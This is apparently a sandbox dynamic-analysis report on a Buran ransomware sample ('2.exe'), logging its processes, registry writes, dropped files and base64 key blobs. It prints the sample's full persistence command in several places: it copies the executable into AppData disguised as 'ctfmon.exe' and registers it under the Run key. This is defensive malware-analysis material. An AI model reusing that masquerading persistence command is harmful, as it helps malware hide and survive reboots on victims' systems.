ba809c00...dd22 | Grouped Behavior
Logo
Try VMRay Analyzer
VTI SCORE: 100/100
Dynamic Analysis Report
Classification: Ransomware

2.exe

Windows Exe (x86-32)

Created at 2019-06-03T16:07:00

...

Remarks (1/1)

(0x2000004): The operating system was rebooted during the analysis because the sample installed a startup script, task or application for persistence.

Grouped Sequential

Monitored Processes

Process Graph

Process Graph Legend
Process Overview
»
ID PID Monitor Reason Integrity Level Image Name Command Line Origin ID
#1 0xfc0 Analysis Target High (Elevated) 2.exe "C:\Users\FD1HVy\Desktop\2.exe" -
#2 0xfcc Child Process High (Elevated) cmd.exe "C:\WINDOWS\system32\cmd.exe" /e:on /c md "C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows" & copy "C:\Users\FD1HVy\Desktop\2.exe" "C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe" & reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ctfmon.exe" /t REG_SZ /F /D "\"C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe\" *" #1
#4 0xfdc Child Process High (Elevated) reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ctfmon.exe" /t REG_SZ /F /D "\"C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe\" *" #2
#6 0xe0c Child Process High (Elevated) ctfmon.exe "C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe" * #1
#7 0xd34 Autostart Medium ctfmon.exe "C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe" * -

Behavior Information - Grouped by Category

Process #1: 2.exe
425 0
»
Information Value
ID #1
File Name c:\users\fd1hvy\desktop\2.exe
Command Line "C:\Users\FD1HVy\Desktop\2.exe"
Initial Working Directory C:\Users\FD1HVy\Desktop\
Monitor Start Time: 00:00:51, Reason: Analysis Target
Unmonitor End Time: 00:01:29, Reason: Self Terminated
Monitor Duration 00:00:38
OS Process Information
»
Information Value
PID 0xfc0
Parent PID 0x860 (c:\windows\explorer.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level High (Elevated)
Username NQDPDE\FD1HVy
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x FE8
0x F00
0x F04
0x F98
0x 794
0x A90
0x CB8
0x 46C
0x 37C
0x 468
Memory Dumps
»
Name Start VA End VA Dump Reason PE Rebuilds Bitness Entry Points AV YARA Actions
2.exe 0x00400000 0x00439FFF Relevant Image - 32-bit - False False
...
2.exe 0x00400000 0x00439FFF Process Termination - 32-bit - False False
...
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\FD1HVy\AppData\Local\Temp\800DA69A.buran 1 bytes MD5: 93b885adfe0da089cdf634904fd59f71
SHA1: 5ba93c9db0cff93f52b521d7420e43f6eda2784f
SHA256: 6e340b9cffb37a989ca544e6bb780a2c78901d3fb33738768511a30617afa01d
SSDeep: 3:: 		False
...
Host Behavior
File (3)
»
Operation Filename Additional Information Success Count Logfile
Create C:\Users\FD1HVy\AppData\Local\Temp\800DA69A.buran desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Write C:\Users\FD1HVy\AppData\Local\Temp\800DA69A.buran size = 1 True 1
Fn
Data
Delete C:\Users\FD1HVy\AppData\Local\Temp\800DA69A.buran - True 1
Fn
Registry (189)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Borland\Locales - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Borland\Locales - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Borland\Delphi\Locales - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - False 183
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes value_name = MS Shell Dlg 2, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes value_name = MS Shell Dlg 2, data = Tahoma, type = REG_SZ True 1
Fn
Process (2)
»
Operation Process Additional Information Success Count Logfile
Create C:\WINDOWS\system32\cmd.exe os_pid = 0xfcc, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe show_window = SW_SHOWNORMAL True 1
Fn
Module (33)
»
Operation Module Additional Information Success Count Logfile
Load C:\Users\FD1HVy\Desktop\2.ENU base_address = 0x0 False 1
Fn
Load C:\Users\FD1HVy\Desktop\2.EN base_address = 0x0 False 1
Fn
Get Handle c:\users\fd1hvy\desktop\2.exe base_address = 0x400000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x75e90000 True 1
Fn
Get Handle c:\windows\syswow64\oleaut32.dll base_address = 0x75bb0000 True 1
Fn
Get Filename c:\users\fd1hvy\desktop\2.exe process_name = c:\users\fd1hvy\desktop\2.exe, file_name_orig = C:\Users\FD1HVy\Desktop\2.exe, size = 261 True 1
Fn
Get Filename - process_name = c:\users\fd1hvy\desktop\2.exe, file_name_orig = C:\Users\FD1HVy\Desktop\2.exe, size = 261 True 1
Fn
Get Filename C:\Users\FD1HVy\Desktop\2.EN process_name = c:\users\fd1hvy\desktop\2.exe, file_name_orig = C:\Users\FD1HVy\Desktop\2.exe, size = 261 True 2
Fn
Get Filename C:\Users\FD1HVy\Desktop\2.EN process_name = c:\users\fd1hvy\desktop\2.exe, file_name_orig = C:\Users\FD1HVy\Desktop\2.exe, size = 522 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDiskFreeSpaceExA, address_out = 0x75efee90 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VariantChangeTypeEx, address_out = 0x75bca610 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarNeg, address_out = 0x75c152c0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarNot, address_out = 0x75c16560 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarAdd, address_out = 0x75bed610 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarSub, address_out = 0x75bee3e0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarMul, address_out = 0x75bedb10 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarDiv, address_out = 0x75c15800 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarIdiv, address_out = 0x75c161a0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarMod, address_out = 0x75c16400 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarAnd, address_out = 0x75be3200 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarOr, address_out = 0x75c16610 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarXor, address_out = 0x75c167b0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarCmp, address_out = 0x75bd60b0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarI4FromStr, address_out = 0x75bd6ec0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarR4FromStr, address_out = 0x75be3010 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarR8FromStr, address_out = 0x75be3630 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarDateFromStr, address_out = 0x75bd8b90 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarCyFromStr, address_out = 0x75bc2d90 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBoolFromStr, address_out = 0x75bd48f0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromCy, address_out = 0x75bd7f50 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromDate, address_out = 0x75bd89c0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromBool, address_out = 0x75bd48a0 True 1
Fn
Keyboard (1)
»
Operation Additional Information Success Count Logfile
Get Info type = 0, result_out = 4 True 1
Fn
System (190)
»
Operation Additional Information Success Count Logfile
Sleep duration = 100 milliseconds (0.100 seconds) True 5
Fn
Sleep duration = 10 milliseconds (0.010 seconds) True 183
Fn
Get Time type = Performance Ctr, time = 15309958561 True 1
Fn
Get Info type = Operating System True 1
Fn
Environment (4)
»
Operation Additional Information Success Count Logfile
Get Environment String name = TEMP, result_out = C:\Users\FD1HVy\AppData\Local\Temp True 2
Fn
Get Environment String name = APPDATA, result_out = C:\Users\FD1HVy\AppData\Roaming True 1
Fn
Get Environment String name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe True 1
Fn
Process #2: cmd.exe
86 0
»
Information Value
ID #2
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\WINDOWS\system32\cmd.exe" /e:on /c md "C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows" & copy "C:\Users\FD1HVy\Desktop\2.exe" "C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe" & reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ctfmon.exe" /t REG_SZ /F /D "\"C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe\" *"
Initial Working Directory C:\WINDOWS\system32\
Monitor Start Time: 00:01:03, Reason: Child Process
Unmonitor End Time: 00:01:17, Reason: Self Terminated
Monitor Duration 00:00:13
OS Process Information
»
Information Value
PID 0xfcc
Parent PID 0xfc0 (c:\users\fd1hvy\desktop\2.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username NQDPDE\FD1HVy
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 36C
0x D04
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\FD1HVy\Desktop\2.exe 188.00 KB MD5: db45c3e8e48c0d21cb82819a17225bbc
SHA1: 4ca4e72d58717610f613eb0805468228d9a77a98
SHA256: ba809c00f829015cb70f26fe1be979f5a372e346d0e974252e8c3ee18b21dd22
SSDeep: 3072:w3t17Da7zjx7hpiO1y0tN4hgNevX3fld3u98H7ykF/6FdXn8sVG9o2GuQnS9:w3t17IPx7hpiQtbNen3uGykF/6HXntVB 		False
...
Host Behavior
File (37)
»
Operation Filename Additional Information Success Count Logfile
Create C:\Users\FD1HVy\Desktop\2.exe desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create Directory C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows - False 1
Fn
Get Info C:\WINDOWS\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Get Info STD_ERROR_HANDLE type = file_type True 1
Fn
Get Info C:\Users\FD1HVy\Desktop\2.exe type = file_attributes True 1
Fn
Get Info - type = file_type True 1
Fn
Get Info C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe type = file_attributes False 2
Fn
Get Info C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe type = file_attributes True 1
Fn
Get Info STD_OUTPUT_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 11
Fn
Open STD_INPUT_HANDLE - True 6
Fn
Open STD_ERROR_HANDLE - True 3
Fn
Open - - True 2
Fn
Copy C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe source_filename = C:\Users\FD1HVy\Desktop\2.exe True 1
Fn
Read - size = 512, size_out = 512 True 1
Fn
Data
Write STD_ERROR_HANDLE size = 90 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 27 True 1
Fn
Data
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (2)
»
Operation Process Additional Information Success Count Logfile
Create C:\WINDOWS\system32\reg.exe os_pid = 0xfdc, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Get Info c:\windows\syswow64\cmd.exe type = PROCESS_PAGE_PRIORITY True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0xd50000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x75e90000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x75ea4f70 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x75ea4330 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x75ea5930 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x74fe09d0 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000000 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #4: reg.exe
39 0
»
Information Value
ID #4
File Name c:\windows\syswow64\reg.exe
Command Line reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ctfmon.exe" /t REG_SZ /F /D "\"C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe\" *"
Initial Working Directory C:\WINDOWS\system32\
Monitor Start Time: 00:01:13, Reason: Child Process
Unmonitor End Time: 00:01:17, Reason: Self Terminated
Monitor Duration 00:00:03
OS Process Information
»
Information Value
PID 0xfdc
Parent PID 0xfcc (c:\windows\syswow64\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username NQDPDE\FD1HVy
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x F4C
0x D84
Host Behavior
File (6)
»
Operation Filename Additional Information Success Count Logfile
Get Info STD_OUTPUT_HANDLE type = file_type True 2
Fn
Open STD_OUTPUT_HANDLE - True 3
Fn
Write STD_OUTPUT_HANDLE size = 39 True 1
Fn
Data
Registry (4)
»
Operation Key Additional Information Success Count Logfile
Create Key HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System - False 1
Fn
Read Value HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run value_name = ctfmon.exe False 1
Fn
Write Value HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run value_name = ctfmon.exe, data = "C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe" *, size = 130, type = REG_SZ True 1
Fn
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\reg.exe base_address = 0xf50000 True 1
Fn
Process #6: ctfmon.exe
418 2
»
Information Value
ID #6
File Name c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe
Command Line "C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe" *
Initial Working Directory C:\Users\FD1HVy\Desktop\
Monitor Start Time: 00:01:28, Reason: Child Process
Unmonitor End Time: 00:01:42, Reason: Self Terminated
Monitor Duration 00:00:14
OS Process Information
»
Information Value
PID 0xe0c
Parent PID 0xfc0 (c:\users\fd1hvy\desktop\2.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level High (Elevated)
Username NQDPDE\FD1HVy
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x FFC
0x F70
0x 49C
0x 6C8
0x 910
0x E00
Memory Dumps
»
Name Start VA End VA Dump Reason PE Rebuilds Bitness Entry Points AV YARA Actions
ctfmon.exe 0x00400000 0x00439FFF Relevant Image - 32-bit - False False
...
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\FD1HVy\AppData\Local\Temp\800DA69A.buran 1 bytes MD5: 93b885adfe0da089cdf634904fd59f71
SHA1: 5ba93c9db0cff93f52b521d7420e43f6eda2784f
SHA256: 6e340b9cffb37a989ca544e6bb780a2c78901d3fb33738768511a30617afa01d
SSDeep: 3:: 		False
...
Host Behavior
File (3)
»
Operation Filename Additional Information Success Count Logfile
Create C:\Users\FD1HVy\AppData\Local\Temp\2766425C.buran desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Write C:\Users\FD1HVy\AppData\Local\Temp\2766425C.buran size = 1 True 1
Fn
Data
Delete C:\Users\FD1HVy\AppData\Local\Temp\2766425C.buran - True 1
Fn
Registry (185)
»
Operation Key Additional Information Success Count Logfile
Create Key HKEY_CURRENT_USER\Software\Buran\Service - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Borland\Locales - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Borland\Locales - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Borland\Delphi\Locales - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran\Service - False 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - False 139
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 3
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes value_name = MS Shell Dlg 2, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes value_name = MS Shell Dlg 2, data = Tahoma, type = REG_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Knock, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 2
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 3
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 2
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 2
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Write Value HKEY_CURRENT_USER\Software\Buran\Service value_name = Public, data = LUROSfn0Hv/8+TDyTusek0rukhmNx0BlMBySvziS7M5WU/fwCFxgR2shqBp8IgER1g4xXqydyHRjS+l/07SW/mmruLNphuis2R3IuW+dqHPh6ZBc5/Ayu4JzvOrDWsWu7ADkJFSBZlnoF/bY/PSkfa/yMZ1r7fW5XiBd/8muBjKDJo7OEGLmOoQ1LTbN0Gj4mUEFv2svUS6u1FdFrvhktiFO7wCsFPC5qVVLedvXgEKIKc4GctkJ1VMQ5pFN8ggsjU2S0Hw9MEC1rIeIm0WwPPh9PeGREUNXEqKdlaT48WX8yqvhT5vmgWs6qEAZQyFJovHJVoymLFvV7t53CjEjLf5P+9qe2OrAXJJd+pW4UmeHNeKWQMS2gjyl1G17k41V7G5urLMc10bL2Pzj/SqW6g==, size = 409, type = REG_SZ True 1
Fn
Write Value HKEY_CURRENT_USER\Software\Buran\Service value_name = Private, data = ValSjeCt7AMvgThk8Lyh1MCGt0G/mlejfnpJi20g/FbYLXsKVeUh3oJlvT1reyVDuOGBCDBZN+HFZTd7Uz1tvfK8lsJL3XbGhXGbYv83V/5yM6dRVwiRIMSIHQDlPctUIjAPK6nLuTIwMw2FbP4irzclvs8qxmmYn6oe+umKYjZe8bNdsDkZBqJ4RYPWOjGD8x09t1TjSYwDSbJa2OR55pyKdJTU98MjR8FTFzZbzA8b25zZJKPMcGI4idQ7I0EJEEK5bzXArU/mHtWw9E73PnxSLaMZWchvOa60F8t7VpAfWcWnXj7MYqzMS1kHqkFf6L8iOYyAYvJMTnU0bpLRSvubELMz8X5Sb1qA3r1fUH58h8JfKpbDpUGWxWaCZJgyqCHXrvZXkCJzYQaNuQL+azdU7dDXP+A5dk0wCLAd5nVy62oySXfNTbnhi/BPDc37URQkyTBEkI8jlVgcsr+WEhP0Lo3B+O/ZckRVE/QkVEsdQkInHSdw8CHi6SX0HsmT1RkE35mdpYXq+3mXZK4k7mosDzpsdfpJ9RqGWf8Kza96HkEzMFsPG2SGe5Q2keDznHD/0fF4dr/ATfdESBlp1sQNThCuI4LfhH/zjI4Uy3dXQdoOi3R0PD2VCawxTPCzAZQAuNdVdPeM0rj+0W2tDb0ymeE32M3LvyDnYzz7qmSqwfQZvJ0n5fNYWk4cume2yxn1iyEvziiv3xLqGRHN1Ed6gVQ8c3+rHemX+zK1TJjsPQlkehO7nACJVyIlEJk2/cF7gERd6UwGLPE4DE4joRj/y2gp64WCCtDeUiIbjGCGsLo2Iz/dX2c/a8/yRSlmTC1d6sS+nl/l26EqLjzb33LL0z1KN8HaSpYhjq1NXr4RXO9NClq6LuBnGPowzYPgAlMxSKYw8n/dSGsZoxhTqARzueCav4VnRKnjmVqFWdmqh9x/fli0HxPSE3/txcy6XxKngO2oIi1rpXgiIdq3egTiXhSc7Cp5n54P5E+6NXba78sYosTd2Qwo5f78XMv7uR+okTAtlKUTOdU0eiKaFvqRUbpjpdN1m2eX5UQhJWuMFsTt8I591TfeVu2HRSrF/fXQ4/v78QrXJX+0ehOLGl3/pvkPLZDtoXJGWsWxfgEMtjgfWEUOaSlq4ETN2h2BOmn5jmzt1CXJY6b/WzVstgmmjS26wU7rh3xoXHspT6OMBtNKPDT2Uz8VKbTE+wIIMJepD0c+dJYCLKiwC3HM5Cr6WjQV/Zy33Oq4ESSrK0xjsk0VccUzyJ4j4GqueS569xa/MZJwLLPgG04RVojeYdeRD2oC63D9LCRSWicGjHSnbKL3SjgAtUyw+XtJV5y7WT5Ykfh1oz1o+BMNua+30UFwWqQpXx5ClVF2cCKd+CiT3l1+BjEwnSeRy15+R+A41LQFOR2t8ruYYu3DYfzEQVsSq99DRaZDtPd7qdiMzGXFCAXEwPHXoUfXT3XqJXJH2PoYfYdyByoJFuxMrQ+a7gpmbK9R8jJuIiU9lLZi8dVdrML5iFk8PkNb2NXR4LyeFlRxhGekm4mrQIjTTU4Fmwt6ifiryoYUcOsb20Bl6vOPAHUYNyAM7DpdGqcwyQT2uPjbGt71m5C3mn7cMC8fUm4SjWXeFAT5wgfeoZcnLwZBmEF8UkwcrCR8MnRXojshimKqmZzlQjvPHV3iEg2Rzj1x+D4u1pR99Wu7q0cmeCFr2FovCQZgMYxJ/onFVTZPy8e2KQ==, size = 1737, type = REG_SZ True 1
Fn
Module (32)
»
Operation Module Additional Information Success Count Logfile
Load C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.ENU base_address = 0x0 False 1
Fn
Load C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.EN base_address = 0x0 False 1
Fn
Get Handle c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe base_address = 0x400000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x75e90000 True 1
Fn
Get Handle c:\windows\syswow64\oleaut32.dll base_address = 0x75bb0000 True 1
Fn
Get Filename c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe process_name = c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe, file_name_orig = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe, size = 261 True 1
Fn
Get Filename - process_name = c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe, file_name_orig = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe, size = 261 True 1
Fn
Get Filename C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.EN process_name = c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe, file_name_orig = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe, size = 261 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDiskFreeSpaceExA, address_out = 0x75efee90 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VariantChangeTypeEx, address_out = 0x75bca610 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarNeg, address_out = 0x75c152c0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarNot, address_out = 0x75c16560 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarAdd, address_out = 0x75bed610 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarSub, address_out = 0x75bee3e0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarMul, address_out = 0x75bedb10 True 1
Fn
